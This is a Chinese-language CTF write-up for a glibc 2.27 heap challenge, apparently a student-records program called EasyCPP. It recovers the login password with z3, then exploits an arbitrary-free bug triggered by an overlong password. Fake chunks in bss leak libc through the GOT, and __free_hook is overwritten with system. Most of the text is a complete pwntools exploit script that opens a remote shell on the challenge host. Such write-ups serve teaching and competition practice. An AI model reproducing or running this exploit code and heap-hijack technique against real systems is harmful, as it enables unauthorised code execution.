没有_BUG_的教务系统
本题为 2.27-3ubuntu1.4_amd64
# 没有_BUG_的教务系统
首先本题目给了 2.27 版本的 libc
进门就是一个加密验证
我们可以通过 z3 来解决加密
def decrypt(target):
buf = [ BitVec(('x%s' % i),8) for i in range(9) ]
for i in range(8):
buf[i] = ~(~(buf[i] & buf[i + 1]) & (buf[i + 1] | buf[i]) & i) & (i | ~(buf[i] & buf[i + 1]) & (buf[i + 1] | buf[i]))
s = Solver()
for i in range(9):
s.add( buf[i] == target[i])
s.check()
m = s.model()
res = sorted ([(d, m[d]) for d in m], key = lambda x: str(x[0]))
result = ""
for i in res:
result += chr(int(str(i[1])))
return result
得到密码 p455w0rd
登录进入系统,这之后就卡了不少时间了,因为实在是找不到漏洞点,之后本着边界值输入的方法在更改密码时输入较长的密码便出了问题
这里已经出现问题了,输入较长的密码程序直接崩溃
之后经过调试发现是 free 函数出现了问题,这里的 rdi 是一个意外的指针
后来再次调试确定偏移为 0x80,那么这里就可以实现一个任意地址 free
结合程序,每次 passwd 和 stu_num 都会被复制到 bss 段,那么我们可以在 bss 段伪造一个 fake chunk
通过部分覆盖泄露出堆地址
通过任意地址 free 删除掉 std_info 块,即保存 stu_num 指针和成绩的堆块(紧接着便会申请回来)
重新申请回这个堆块时将 stu_num 指针写成一个 got 表的地址,这样打印信息时就可以泄露出 libc
之后再次在 bss 段伪造堆块,释放后修改 fd 指针(其实就是修改密码)指向 free_hook,将 free_hook 改成 system 就行了
Exp
# -*- encoding: utf-8 -*-
from z3 import *
from pwn import *
binary = './EasyCPP'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = 'redirect.do-not-trust.hacking.run'
port = '10075'
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla('choice:',num)
def decrypt(target):
buf = [ BitVec(('x%s' % i),8) for i in range(9) ]
for i in range(8):
buf[i] = ~(~(buf[i] & buf[i + 1]) & (buf[i + 1] | buf[i]) & i) & (i | ~(buf[i] & buf[i + 1]) & (buf[i + 1] | buf[i]))
s = Solver()
for i in range(9):
s.add( buf[i] == target[i])
s.check()
m = s.model()
res = sorted ([(d, m[d]) for d in m], key = lambda x: str(x[0]))
result = ""
for i in res:
result += chr(int(str(i[1])))
return result
def editStudent(password , stdnum ):
cmd(1)
sa('password:' , password )
sa('please:' , stdnum)
for i in range(4):
sla(':' , 100)
dbg_args = '''Grade::Grade
b Grade::operator
b Grade::~Grade
b free
'''
def attack():
pwd = decrypt([0x44,0x00,0x02,0x41,0x43,0x47,0x10,0x63,0x00])
sla('Username:' , "admin")
sla('Password:' , pwd)
# 其实在最开始尝试的时候就发现了,更改的密码输入过长会导致直接让程序崩溃
# 后来经过调试才知道 free 的时候 free 了一个错误的内存地址
# 再调试确定偏移为 0x80
passwd_addr = 0x0000000006032E0
setvbuf_got = 0x000000000602F20
T_addr = 0x00000000006032A0
fake_chunk = flat(
0 , 0x21,
0 , 0,
0 , 0x21
)
editStudent( fake_chunk.ljust( 0x80,'\x00' ) , 'a'*0x20 )
editStudent( fake_chunk.ljust( 0x80,'\x00' ) + p64(passwd_addr+0x10) , '\x20')
# dbg()
ru('STUDENT: ')
leak = uu64(4) + 0x20
libc_base = leak if leak <0x47000000 else leak - 0x47000000
fake_chunk = flat(
0 , 0x21,
0 , 0,
0 , 0x21
)
lg('libc_base' , libc_base)
# dbg(dbg_args)
editStudent( fake_chunk.ljust( 0x80,'\x00' ) + p64(libc_base+0x30), p64(setvbuf_got) )
setvbuf_addr = l64()
libc.address = setvbuf_addr - libc.sym['setvbuf']
system_addr = libc.sym['system']
__free_hook = libc.sym['__free_hook']
binsh_addr = libc.search('/bin/sh').next()
lg('__free_hook',__free_hook)
fake_chunk = flat(
0 , 0x41,
0 , 0,
0 , 0,
0 , 0,
0 , 0x21
)
editStudent( fake_chunk.ljust( 0x80,'\x00' ) + p64(passwd_addr+0x10), 'a' )
editStudent( flat(0 , 0x41 , __free_hook -0x8), flat('/bin/sh\x00' , system_addr , '\x00'*0x27 ))
editStudent( '/bin/sh\x00', flat('/bin/sh\x00' , system_addr , '\x00'*0x27 ) )
# 这题有很多 free 操作,直接疯狂填 /bin/sh\x00,肯定能执行 system(/bin/sh)
p.interactive()
attack()
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。